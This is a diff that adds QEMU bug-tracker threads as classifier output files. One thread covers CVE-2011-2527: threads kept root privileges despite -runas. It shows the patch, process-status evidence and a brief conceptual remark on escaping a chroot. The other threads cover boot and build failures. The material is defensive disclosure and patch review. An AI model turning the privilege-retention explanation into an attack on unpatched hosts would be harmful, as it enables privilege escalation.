changed, 6 insertions(+), 0 deletions(-) + +Are you happy with this patch? Bumping because security-related. + +Regarding portability, Linux, BSD, Solaris, and Mac OS X all provide +initgroups(3). I think we're good. + +Stefan + + +Requesting CVE. Tools like libvirt deprivilege themselves before launching qemu as an unprivileged user (no use of -runas), so aren't vulnerable. + +This bug is being tracked as CVE-2011-2527 + +* Stefan Hajnoczi (<email address hidden>) wrote: +> @@ -199,6 +200,11 @@ static void change_process_uid(void) +> fprintf(stderr, "Failed to setgid(%d)\n", user_pwd->pw_gid); +> exit(1); +> } +> + if (initgroups(user_pwd->pw_name, user_pwd->pw_gid) < 0) { +> + fprintf(stderr, "Failed to initgroups(\"%s\", %d)\n", +> + user_pwd->pw_name, user_pwd->pw_gid); +> + exit(1); +> + } + +Does initgroups need access to /etc/group? How does this combine w/ +-chroot? + +Added bonus...this will fail when the initial user is not privileged +_and_ is the same user as -runas user (probably not what a user intended, +but would've worked before). Something like: + +[doh@laptop qemu]$ qemu -runas doh + + +* Chris Wright (<email address hidden>) wrote: +> * Stefan Hajnoczi (<email address hidden>) wrote: +> > @@ -199,6 +200,11 @@ static void change_process_uid(void) +> > fprintf(stderr, "Failed to setgid(%d)\n", user_pwd->pw_gid); +> > exit(1); +> > } +> > + if (initgroups(user_pwd->pw_name, user_pwd->pw_gid) < 0) { +> > + fprintf(stderr, "Failed to initgroups(\"%s\", %d)\n", +> > + user_pwd->pw_name, user_pwd->pw_gid); +> > + exit(1); +> > + } +> +> Does initgroups need access to /etc/group? How does this combine w/ +> -chroot? + +Tested this on Linux, and w/out /etc/group it simply fails to add any +supplementary groups (doesn't fail completely, just fails safely). +Appears similar from solaris manpages. + +Given that... + +Acked-by: Chris Wright <email address hidden> + + +Thanks, applied. + +On Sat, Jul 9, 2011 at 12:22 PM, Stefan Hajnoczi +<email address hidden> wrote: +> Andrew Griffiths reports that -runas does not set supplementary group +> IDs. This means that gid 0 (root) is not dropped when switching to an +> unprivileged user. +> +> Add an initgroups(3) call to use the -runas user's /etc/groups +> membership to update the supplementary group IDs. +> +> Signed-off-by: Stefan Hajnoczi <email address hidden> +> --- +> Note this needs compile testing on various POSIX host platforms. Tested on +> Linux. Should work on BSD and Solaris. initgroups(3) is SVr4/BSD but not in +> POSIX. +> +> os-posix.c | 6 ++++++ +> 1 files changed, 6 insertions(+), 0 deletions(-) +> +> diff --git a/os-posix.c b/os-posix.c +> index 7dfb278..6f8d488 100644 +> --- a/os-posix.c +> +++ b/os-posix.c +> @@ -31,6 +31,7 @@ +> /*needed for MAP_POPULATE before including qemu-options.h */ +> #include <sys/mman.h> +> #include <pwd.h> +> +#include <grp.h> +> #include <libgen.h> +> +> /* Needed early for CONFIG_BSD etc. */ +> @@ -199,6 +200,11 @@ static void change_process_uid(void) +> fprintf(stderr, "Failed to setgid(%d)\n", user_pwd->pw_gid); +> exit(1); +> } +> + if (initgroups(user_pwd->pw_name, user_pwd->pw_gid) < 0) { +> + fprintf(stderr, "Failed to initgroups(\"%s\", %d)\n", +> + user_pwd->pw_name, user_pwd->pw_gid); +> + exit(1); +> + } +> if (setuid(user_pwd->pw_uid) < 0) { +> fprintf(stderr, "Failed to setuid(%d)\n", user_pwd->pw_uid); +> exit(1); +> -- +> 1.7.5.4 +> +> +> + + +# ps axwu +... +qemu00 29957 0.5 9.8 480568 405228 ? Sl Jul12 7:41 /usr/bin/qemu-system-x86_64 -runas ... +... + +# ps axwu -L +... +qemu00 29957 29957 0.2 3 9.8 480568 405228 ? Sl Jul12 2:49 /usr/bin/qemu-system-x86_64 -runas ... +root 29957 29959 0.3 3 9.8 480568 405228 ? Sl Jul12 4:47 /usr/bin/qemu-system-x86_64 -runas ... +root 29957 29960 0.0 3 9.8 480568 405228 ? Sl Jul12 0:00 /usr/bin/qemu-system-x86_64 -runas ... +... + + +# cat /proc/29957/task/29959/status +Name: qemu-system-x86 +State: S (sleeping) +Tgid: 29957 +Pid: 29959 +PPid: 1 +TracerPid: 0 +Uid: 0 0 0 0 +Gid: 0 0 0 0 +FDSize: 32 +Groups: 999 + +... + +Threads can have their own uid/gid set. + + + +Once you have code execution in the process, you can modify the others threads execution (if required) to execute your own code. With full capabilities, it would be trivial to escape from a chroot on a normal Linux kernel (grsecurity with appropriate kernel chroot restrictions enabled would reduce the avenues available for escaping.). + +I seem to recall other distro's handle thread privileges differently. + + + +correction: s/other distro's/other operating systems/g + + +On Wed, Jul 13, 2011 at 11:12 AM, Andrew Griffiths +<email address hidden> wrote: +> Once you have code execution in the process, you can modify the others +> threads execution (if required) to execute your own code. With full +> capabilities, it would be trivial to escape from a chroot on a normal +> Linux kernel (grsecurity with appropriate kernel chroot restrictions +> enabled would reduce the avenues available for escaping.). +> +> I seem to recall other distro's handle thread privileges differently. + +Hi Andrew, +I think what Chris meant is that libvirt does not use -runas at all. +It drops privileges (including initgroups(3)) itself *before* invoking +QEMU. So I think his statement is simply that libvirt (commonly used +in KVM deployments) is not affected. + +Stefan + + +Hello Stefan, + +I was explaining the threads / uids per thread issue, in case it wasn't obvious of what the impact was, or how to exploit that issue (in case someone was wondering about that). It was not directed at Chris in any shape or form, nor was it about libvirt. + + + + + + +On Wed, Jul 13, 2011 at 11:50 AM, Andrew Griffiths +<email address hidden> wrote: +> I was explaining the threads / uids per thread issue, in case it wasn't +> obvious of what the impact was, or how to exploit that issue (in case +> someone was wondering about that). It was not directed at Chris in any +> shape or form, nor was it about libvirt. + +I see. Thanks for the clarification. + +Stefan + + +Regarding the threads having different privilege level, I have isolated that to being related to my grsecurity configuration (more specifically, chroot_findtask will block it). + +While it's still an issue on older glibc where the setuid/setgid code does not enforce it across all threads, it may not be high priority since fixing it would be a lot more effort. + + +On Thu, Jul 14, 2011 at 11:37 AM, Andrew Griffiths +<email address hidden> wrote: +> Regarding the threads having different privilege level, I have isolated +> that to being related to my grsecurity configuration (more specifically, +> chroot_findtask will block it). +> +> While it's still an issue on older glibc where the setuid/setgid code +> does not enforce it across all threads, it may not be high priority +> since fixing it would be a lot more effort. + +Wow, just learnt something new that glibc does behind our backs :). I +see it uses SIGRTMIN+1 to signal threads and get them to do the set*id +system calls. + +I'm glad it does this because although most QEMU threads should be +started after command-line parsing, I can think of instances where we +might start a thread before -runas is completed. + +Stefan + + +Actually, from a quick google perhaps ensuring all threads run after chroot / dropping privileges might be a good idea. + +- http://wiki.freebsd.org/Per-Thread%20Credentials +- http://www.cocoabuilder.com/archive/cocoa/33107-cthread-fork.html + +though it looks like you might need to put in effort into getting per-thread uid's for freebsd/macosx when they make that available, and you're assuming they're running a recent glibc. Depending on complexity, it can't hurt to ensure you're not going to hit into per-thread uid/gid's. I'm of two minds about glibc doing this. This was a particular favourite bug class of mine :) + +It seems that there is a linux distro which uses uclibc, which does not emulate the glibc behaviour: + +http://dl-4.alpinelinux.org/alpine/v2.2/main/x86/ <-- has qemu packages. + +we can use http://paste.pocoo.org/raw/438497/ to emulate qemu's behaviour + +# ./test +[main] my [ug]id is 100/100 +[thread] my [ug]id is 0/0 + +^-- the qemu thread would be running as root + +running the same code under glibc (without grsecurity chroot_findtask), and it will drop privileges as you'd expect on recent glibc. + + + + +On Thu, Jul 14, 2011 at 12:46 PM, Andrew Griffiths +<email address hidden> wrote: +> Actually, from a quick google perhaps ensuring all threads run after +> chroot / dropping privileges might be a good idea. +> +> - http://wiki.freebsd.org/Per-Thread%20Credentials +> - http://www.cocoabuilder.com/archive/cocoa/33107-cthread-fork.html +> +> though it looks like you might need to put in effort into getting per- +> thread uid's for freebsd/macosx when they make that available, and +> you're assuming they're running a recent glibc. Depending on complexity, +> it can't hurt to ensure you're not going to hit into per-thread +> uid/gid's. I'm of two minds about glibc doing this. This was a +> particular favourite bug class of mine :) +> +> It seems that there is a linux distro which uses uclibc, which does not +> emulate the glibc behaviour: +> +> http://dl-4.alpinelinux.org/alpine/v2.2/main/x86/ <-- has qemu +> packages. + +Good point about other OSes and distros. QEMU does not create any +threads before -runas processing AFAICT. + +It's a nasty problem in general though because shared libraries could... + +Stefan + + +It does create threads before chroot/setgid/setuid, see https://bugs.launchpad.net/qemu/+bug/807893/comments/10. + +That process was created with following options: + +-enable-kvm +-runas +-chroot +-m +-kernel +-append +-drive +-net nic,model=virtio, -net tap,ifname=xxx +-serial none +-serial unix:.. +-serial file: ... +-monitor unix:... +-daemonize + + +with some grepping of parent callers, looks like the cpu is probably my issue + +static void qemu_kvm_start_vcpu(CPUState *env) +{ + env->thread = qemu_mallocz(sizeof(QemuThread)); + env->halt_cond = qemu_mallocz(sizeof(QemuCond)); + qemu_cond_init(env->halt_cond); + qemu_thread_create(env->thread, qemu_kvm_cpu_thread_fn, env); + + /* init the dynamic translator */ + cpu_exec_init_all(tb_size * 1024 * 1024); + + +.. etc +6613 clone(child_stack=0xa75df454, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0xa75dfbd8, {entry_number:6, base_addr:0xa75dfb70, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}, child_tidptr=0xa75dfbd8) = 16615 +.. etc +16615 ioctl(4, KVM_CREATE_VCPU, 0) = 7 +16615 ioctl(3, KVM_GET_VCPU_MMAP_SIZE, 0) = 12288 +16615 mmap2(NULL, 12288, PROT_READ|PROT_WRITE, MAP_SHARED, 7, 0) = 0xa6ddc000 +16615 ioctl(7, KVM_SET_VAPIC_ADDR, 0xa75de1a4) = 0 + +later on it does chroot/setgid/setuid + + +On Thu, Jul 14, 2011 at 2:00 PM, Andrew Griffiths +<email address hidden> wrote: +> with some grepping of parent callers, looks like the cpu is probably my +> issue + +The -runas processing doesn't happen until os_setup_post() right +before entering the main loop. It is too late at that point because +threads may have been spawned. + +My mistake was to think -runas processing happens in os_parse_cmd_args(). + +Stefan + + +I think I verified this issue on lastest qemu + +steps: +1./configure && make +2.start qemu-kvm process with -runas nobody +./qemu-system-x86_64 -m 2G -smp 4 -cpu qemu64,+x2apic -usbdevice tablet -drive file=/home/win2003-32-new.raw,if=none,id=drive-ide0-0-0,werror=stop,rerror=stop,cache=none,format=raw -device ide-drive,bus=ide.0,unit=0,bootindex=1,drive=drive-ide0-0-0,id=ide0-0-0 -netdev tap,id=hostnet0,script=/etc/qemu-ifup,downscript=no -device rtl8139,netdev=hostnet0,mac=76:0E:40:3F:2F:3F -boot dc -uuid cc5aee77-d631-41d4-92a0-4e59c3b5cb6c -rtc-td-hack -monitor stdio -name win2k3-32-serial -vnc :10 -device virtio-balloon-pci,id=balloon0 -runas nobody + +3# cat /proc/25996/status +Name: qemu-system-x86 +State: R (running) +Tgid: 25996 +Pid: 25996 +PPid: 28206 +TracerPid: 0 +Uid: 99 99 99 99 +Gid: 99 99 99 99 +Utrace: 0 +FDSize: 256 +Groups: 99 + +4# cat /proc/25996/task/25996/status +Name: qemu-system-x86 +State: R (running) +Tgid: 25996 +Pid: 25996 +PPid: 28206 +TracerPid: 0 +Uid: 99 99 99 99 +Gid: 99 99 99 99 +Utrace: 0 +FDSize: 256 +Groups: 99 + +Based on above ,I think this bug has been fixed ald. + +Best Regards, +Mike + +Mike, the issue is solved for Linux hosts with a modern glibc. Andrew +explained that uclibc or non-Linux hosts may still be affected if they do +not apply set*id() to all threads in the process. + +The safe way to solve this universally is to perform -runas before creating +threads. + + +Here's some reproduction code you can use to see the difference between glibc and raw system calls: + +https://gist.github.com/1084042 + +If you're wondering about Linux and non-glibc distributions using qemu, Alpine is one particular answer to that question (so the affected Linux distributions is non-zero). + + + + + + +According to Stefan, this problem has been fixed by this commit: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=cc4662f9642995c78 +... so let's close this bug ticket now. + diff --git a/results/classifier/deepseek-1/output/ticket./1435359 b/results/classifier/deepseek-1/output/ticket./1435359 new file mode 100644 index 00000000..67cd33f7 --- /dev/null +++ b/results/classifier/deepseek-1/output/ticket./1435359 @@ -0,0 +1,49 @@ + +Booting kernel 3.19.2 fails most of the time + +Host system: openSuSE 13.2 + kernel 4.0.0-rc4 + qemu 2.2.1. + +When I try to boot a virtual machine with Ubuntu 14.10 and kernel 3.13.0 every boot succeeds. However, with kernel 3.19.2 booting fails most of the time. The following appears in /var/log/libvirt/qemu/ubuntu-vm.log when I try to boot that VM with kernel 3.19.2: + +2015-03-23 02:44:18.801+0000: starting up +LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin QEMU_AUDIO_DRV=spice /usr/bin/qemu-system-x86_64 -name ubuntu-vm -S -machine pc-i440fx-2.1,accel=kvm,usb=off -cpu Haswell -m 2048 -realtime mlock=off -smp 4,sockets=4,cores=1,threads=1 -uuid 395110dc-9fbe-4542-8fce-4ef958f24b2c -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/ubuntu-vm.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=discard -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot strict=on -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x5.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x5 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x5.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x5.0x2 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x4 -drive file=/var/lib/libvirt/images/ubuntusaucy.qcow2,if=none,id=drive-virtio-disk0,format=qcow2 -device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x7,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=1 -drive file=/var/lib/libvirt/images/ubuntu-14.04-mini.iso,if=none,id=drive-ide0-0-0,readonly=on,format=raw -device ide-cd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=2 -netdev tap,fd=22,id=hostnet0,vhost=on,vhostfd=23 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:5e:71:5e,bus=pci.0,addr=0x3 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -spice port=5900,addr=127.0.0.1,disable-ticketing,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,bus=pci.0,addr=0x2 -chardev spicevmc,id=charredir0,name=usbredir -device usb-redir,chardev=charredir0,id=redir0 -chardev spicevmc,id=charredir1,name=usbredir -device usb-redir,chardev=charredir1,id=redir1 -chardev spicevmc,id=charredir2,name=usbredir -device usb-redir,chardev=charredir2,id=redir2 -chardev spicevmc,id=charredir3,name=usbredir -device usb-redir,chardev=charredir3,id=redir3 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x8 -object rng-random,id=rng0,filename=/dev/random -device virtio-rng-pci,rng=rng0,bus=pci.0,addr=0x9 -msg timestamp=on +main_channel_link: add main channel client +main_channel_handle_parsed: net test: latency 0.229000 ms, bitrate 28444444444 bps (27126.736111 Mbps) +red_dispatcher_set_cursor_peer: +inputs_connect: inputs channel client create +((null):30728): SpiceWorker-ERROR **: red_worker.c:8337:red_marshall_qxl_drawable: invalid type +KVM: injection failed, MSI lost (Input/output error) +qemu-system-x86_64: /home/bart/software/qemu-2.2.1/hw/net/vhost_net.c:264: vhost_net_stop_one: Assertion `r >= 0' failed. +2015-03-23 02:44:44.952+0000: shutting down + +That message is similar to the message reported by the older qemu version provided by openSuse (qemu 2.1.0 + qemu-kvm 2.1.0): + +2015-03-21 13:51:00.724+0000: starting up +LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin QEMU_AUDIO_DRV=spice /usr/bin/qemu-system-x86_64 -name ubuntu-vm -S -machine pc-i440fx-2.1,accel=kvm,usb=off -cpu Haswell -m 1024 -realtime mlock=off -smp 4,sockets=4,cores=1,threads=1 -uuid 395110dc-9fbe-4542-8fce-4ef958f24b2c -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/ubuntu-vm.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=discard -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot strict=on -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x5.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr +=0x5 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x5.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x5.0x2 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x6 -drive file=/var/lib/libvirt/images/ubuntusaucy.qcow2,if=none,id=drive-virtio-disk0,format=qcow2 -device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x7,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=1 -drive file=/var/lib/libvirt/images/ubuntu-14.04-mini.iso,if=none,id=drive-ide0-0-0,readonly=on,format=raw -device ide-cd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id +=ide0-0-0,bootindex=2 -netdev tap,fd=22,id=hostnet0,vhost=on,vhostfd=23 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:5e:71:5e,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -spice port=5900,addr=127.0.0.1,disable-ticketing,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -chardev spicevmc,id=charredir0,name=usbredir -device usb-redir,chardev=charredir0,id=redir0 -chardev spicevmc,id=charredir1, +name=usbredir -device usb-redir,chardev=charredir1,id=redir1 -chardev spicevmc,id=charredir2,name=usbredir -device usb-redir,chardev=charredir2,id=redir2 -chardev spicevmc,id=charredir3,name=usbredir -device usb-redir,chardev=charredir3,id=redir3 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x8 -object rng-random,id=rng0,filename=/dev/random -device virtio-rng-pci,rng=rng0,bus=pci.0,addr=0x9 -msg timestamp=on +char device redirected to /dev/pts/0 (label charserial0) +main_channel_link: add main channel client +main_channel_handle_parsed: net test: latency 0.233000 ms, bitrate 17964912280 bps (17132.675438 Mbps) +red_dispatcher_set_cursor_peer: +inputs_connect: inputs channel client create +((null):5798): SpiceWorker-ERROR **: red_worker.c:8337:red_marshall_qxl_drawable: invalid type +red_channel_client_disconnect: 0x7f90397ec0c0 (channel 0x7f903812a090 type 5 id 0) +((null):8349): Spice-Warning **: red_channel.c:1661:red_channel_remove_client: channel type 5 id 0 - channel->thread_id (0x7f90362cba80) != pthread_self (0x7f9011fff700).If one of the threads is != io-thread && != vcpu-thread, this might be a BUG +snd_channel_put: sound channel freed +red_channel_client_disconnect: 0x7f903a04c4c0 (channel 0x7f903812a230 type 6 id 0) +((null):8349): Spice-Warning **: red_channel.c:1661:red_channel_remove_client: channel type 6 id 0 - channel->thread_id (0x7f90362cba80) != pthread_self (0x7f9011fff700).If one of the threads is != io-thread && != vcpu-thread, this might be a BUG +snd_channel_put: sound channel freed +KVM: injection failed, MSI lost (Input/output error) +qemu-system-x86_64: /home/abuild/rpmbuild/BUILD/qemu-2.1.0/hw/virtio/vhost.c:1003: vhost_virtqueue_mask: Assertion `r >= 0' failed. +2015-03-21 15:30:10.148+0000: shutting down + +The following patch might fix this (I have not yet tested this patch myself): https://lkml.org/lkml/2015/7/5/217 + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +I haven't seen this for a long time so please proceed with closing this ticket. + +Ok, thanks, so I'm closing this now. + diff --git a/results/classifier/deepseek-1/output/tooling./1257099 b/results/classifier/deepseek-1/output/tooling./1257099 new file mode 100644 index 00000000..3a7d37dd --- /dev/null +++ b/results/classifier/deepseek-1/output/tooling./1257099 @@ -0,0 +1,1180 @@ + +QEMU fails to build on CentOS 5.10 with relocation R_X86_64_PC32 error + + lt LINK libcacard.la +/usr/bin/ld: libcacard/.libs/vcard.o: relocation R_X86_64_PC32 against `vcard_buffer_response_delete' can not be used when making a shared object; recompile with -fPIC +/usr/bin/ld: final link failed: Bad value +collect2: ld returned 1 exit status +make[4]: *** [libcacard.la] Error 1 +make[3]: *** [subdir-libcacard] Error 2 + +I have bisect'd this to: + +dcs-xen-53:~/qemu>git-bisect next +00c705fb92bc6e69e955aeac3614e05ca02feacd is the first bad commit +commit 00c705fb92bc6e69e955aeac3614e05ca02feacd +Author: Paolo Bonzini <email address hidden> +Date: Tue May 29 11:40:24 2012 +0200 + + build: libcacard Makefile cleanups + + Build vscclient from toplevel Makefile, limit usage of vpath. + + Signed-off-by: Paolo Bonzini <email address hidden> + +:100644 100644 a10005a22fe44a107dfec15106960612b43be71f 1d34b9539e9ba47fdb7028ad0569389fa48712b9 M Makefile +:100644 100644 ae3770a5f718742838844f9064be6a7153ac7469 74110dda7e38b8ddae47a53ad4cb6ecf48231fa0 M Makefile.objs +:100644 100644 3dfdf925fdc2c92239b7053a3d4e09687dcc2171 555894db4aa717f15cfc24093d838131f422fc78 M Makefile.target +:100755 100755 e50ad0bb8fc2e331562f3c09e605af6597a143b1 cd5e8b349c137f621d2e9dc516145bc650d977c0 M configure +:040000 040000 160d565b7e551c3248333c9e49f34edb7a30f5e0 008bc3fccda52f78accf9494539ba62bfb1621a0 M libcacard + +dcs-xen-53:~/qemu>git bisect log +git bisect start +# bad: [7457fe9541b5162f285454947448d553a5d5a531] Update version for v1.7.0-rc2 release +git bisect bad 7457fe9541b5162f285454947448d553a5d5a531 +# good: [ed7ec8400707fe42f4a0f40db2f2d5827ecea789] Merge remote-tracking branch 'bonzini/scsi.2' into staging +git bisect good ed7ec8400707fe42f4a0f40db2f2d5827ecea789 +# bad: [1d31fca470648ec66afd8743491bfb5846306341] qemu-barrier: Fix compilation on i386 hosts +git bisect bad 1d31fca470648ec66afd8743491bfb5846306341 +# good: [9de36b1a7cf61aa8be365f13c81668b3e19fbc7f] Make -machine/-enable-kvm options merge into a single list +git bisect good 9de36b1a7cf61aa8be365f13c81668b3e19fbc7f +# bad: [3edb8f92e8b5f18797693d8ed9fad3962e11e25d] target-s390x: Pass S390CPU to s390_cpu_restart() +git bisect bad 3edb8f92e8b5f18797693d8ed9fad3962e11e25d +# good: [aecff6924dab0197b6c8f132e44502b25fd98a38] hw/arm_gic: Make gic_reset a sysbus reset function +git bisect good aecff6924dab0197b6c8f132e44502b25fd98a38 +# good: [b9531b6eed93c9e1769d6f371c4da5d1f955e0d1] block/qcow2: Add missing GCC_FMT_ATTR to function report_unsupported() +git bisect good b9531b6eed93c9e1769d6f371c4da5d1f955e0d1 +# good: [dd86df756e02b684718dd5378725927361b0ad36] Merge remote-tracking branch 'sstabellini/for_1.1_rc3' into staging +git bisect good dd86df756e02b684718dd5378725927361b0ad36 +# good: [8ebdf9dcc6036171a9f8bac3fe8dc459725a3e83] sun4u: Use cpu_sparc_init() to obtain SPARCCPU +git bisect good 8ebdf9dcc6036171a9f8bac3fe8dc459725a3e83 +# good: [8867aef02e1e5817c72b2e09be4ae952eb0c9d9d] build: move ui/ objects to nested Makefile.objs +git bisect good 8867aef02e1e5817c72b2e09be4ae952eb0c9d9d +# bad: [e8de1ea849176812765bf30514f66c5450a1edc6] target-xtensa: add attributes to helper functions +git bisect bad e8de1ea849176812765bf30514f66c5450a1edc6 +# bad: [fa79c914efd35cb60e0bc18512c03690c48b13e2] Merge remote-tracking branch 'bonzini/nested-makefiles-3' into staging +git bisect bad fa79c914efd35cb60e0bc18512c03690c48b13e2 +# good: [c353f261946ddbd814b333ae2440712b486977fd] build: move per-target hw/ objects to nested Makefile.objs +git bisect good c353f261946ddbd814b333ae2440712b486977fd +# bad: [25f27a4f7160d077d6992e811021b4bc3a82abc1] build: compile oslib-obj-y once +git bisect bad 25f27a4f7160d077d6992e811021b4bc3a82abc1 +# bad: [00c705fb92bc6e69e955aeac3614e05ca02feacd] build: libcacard Makefile cleanups +git bisect bad 00c705fb92bc6e69e955aeac3614e05ca02feacd +# good: [49ac9e0a8cfb737d6da9c0b056c062e3dec0ba45] build: move device tree to per-target Makefile.objs +git bisect good 49ac9e0a8cfb737d6da9c0b056c062e3dec0ba45 + +On 12/03/13 09:06, Paolo Bonzini wrote: +> Il 03/12/2013 14:25, Stefano Stabellini ha scritto: +>> CC'ing Paolo and xen-devel. +>> The original thread is here: +>> +>> http://marc.info/?l=xen-devel&m=135718999710640 +>> +>> On Mon, 2 Dec 2013, Don Slutz wrote: +>>>> Public bug reported: +>>>> +>>>> lt LINK libcacard.la +>>>> /usr/bin/ld: libcacard/.libs/vcard.o: relocation R_X86_64_PC32 against `vcard_buffer_response_delete' can not be used when making a shared object; recompile with -fPIC +>>>> /usr/bin/ld: final link failed: Bad value +>>>> collect2: ld returned 1 exit status +>>>> make[4]: *** [libcacard.la] Error 1 +>>>> make[3]: *** [subdir-libcacard] Error 2 +> Thanks, I'll try to reproduce. Please send the "make V=1" output for a +> full build in the meanwhile. +Here it is for a full build of: + +* 7dc65c0 (HEAD, origin/master, origin/HEAD, master) Open 2.0 +development tree + + -Don Slutz +> Paolo + + + +On 12/03/13 12:15, Paolo Bonzini wrote: +> Il 03/12/2013 14:25, Stefano Stabellini ha scritto: +>> CC'ing Paolo and xen-devel. +>> The original thread is here: +>> +>> http://marc.info/?l=xen-devel&m=135718999710640 +>> +>> On Mon, 2 Dec 2013, Don Slutz wrote: +>>> Public bug reported: +>>> +>>> lt LINK libcacard.la +>>> /usr/bin/ld: libcacard/.libs/vcard.o: relocation R_X86_64_PC32 against `vcard_buffer_response_delete' can not be used when making a shared object; recompile with -fPIC +>>> /usr/bin/ld: final link failed: Bad value +>>> collect2: ld returned 1 exit status +>>> make[4]: *** [libcacard.la] Error 1 +>>> make[3]: *** [subdir-libcacard] Error 2 +> This is a bug in RHEL5 binutils. Configure with --disable-pie to work +> around it. +Any hints or pointers about the bug in RHEL5 binutils? I can try and +make a patch to auto detect this. + +That still fails for (7dc65c0 (HEAD, origin/master, origin/HEAD, master) +Open 2.0 development tree): + +... +libtool --mode=link --tag=CC cc -m64 -D_GNU_SOURCE +-D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes +-Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes +-fno-strict-aliasing -Wendif-labels -Wmissing-include-dirs +-Wnested-externs -Wformat-security -Wformat-y2k -Winit-self +-Wold-style-definition -fstack-protector-all -I/usr/include/libpng12 +-I/usr/include/nss3 -I/usr/include/nspr4 -pthread +-I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include +-I/usr/include/pixman-1 -I/home/don/qemu/dtc/libfdt -pthread +-I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include +-I/home/don/qemu/tests -O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -g +-Wl,--warn-common -m64 -g -o vscclient libcacard/vscclient.o +libcacard.la -Wc,-fstack-protector-all -lrt -pthread -L/lib64 +-lgthread-2.0 -lglib-2.0 -lz -L/usr/kerberos/lib64 -lcurl -ldl +-lgssapi_krb5 -lkrb5 -lk5crypto -lcom_err -lidn -lssl -lcrypto -lz -luuid +cc -m64 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE +-Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings +-Wmissing-prototypes -fno-strict-aliasing -Wendif-labels +-Wmissing-include-dirs -Wnested-externs -Wformat-security -Wformat-y2k +-Winit-self -Wold-style-definition -fstack-protector-all +-I/usr/include/libpng12 -I/usr/include/nss3 -I/usr/include/nspr4 +-pthread -I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include +-I/usr/include/pixman-1 -I/home/don/qemu/dtc/libfdt -pthread +-I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include +-I/home/don/qemu/tests -O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -g +-Wl,--warn-common -m64 -g -o .libs/vscclient libcacard/vscclient.o +-Wl,-fstack-protector-all -pthread ./.libs/libcacard.so -L/lib64 +-L/usr/kerberos/lib64 -lssl3 -lsmime3 -lnss3 -lnssutil3 -lplds4 -lplc4 +-lnspr4 -lpthread -lrt -lgthread-2.0 -lglib-2.0 -lcurl -ldl +-lgssapi_krb5 -lkrb5 -lk5crypto -lcom_err -lidn -lssl -lcrypto -lz +-luuid -Wl,--rpath -Wl,/usr/local/lib +/usr/bin/ld: -f may not be used without -shared +collect2: ld returned 1 exit status +make: *** [vscclient] Error 1 + +Attached is the full "make V=1" output. + +Here is the configure output: + +dcs-xen-53:~/qemu>rm -rf out/tmp;mkdir out/tmp;pushd +out/tmp;../../configure --disable-pie;make V=1 1>zz1 2>&1;popd +~/qemu/out/tmp ~/qemu +Install prefix /usr/local +BIOS directory /usr/local/share/qemu +binary directory /usr/local/bin +library directory /usr/local/lib +libexec directory /usr/local/libexec +include directory /usr/local/include +config 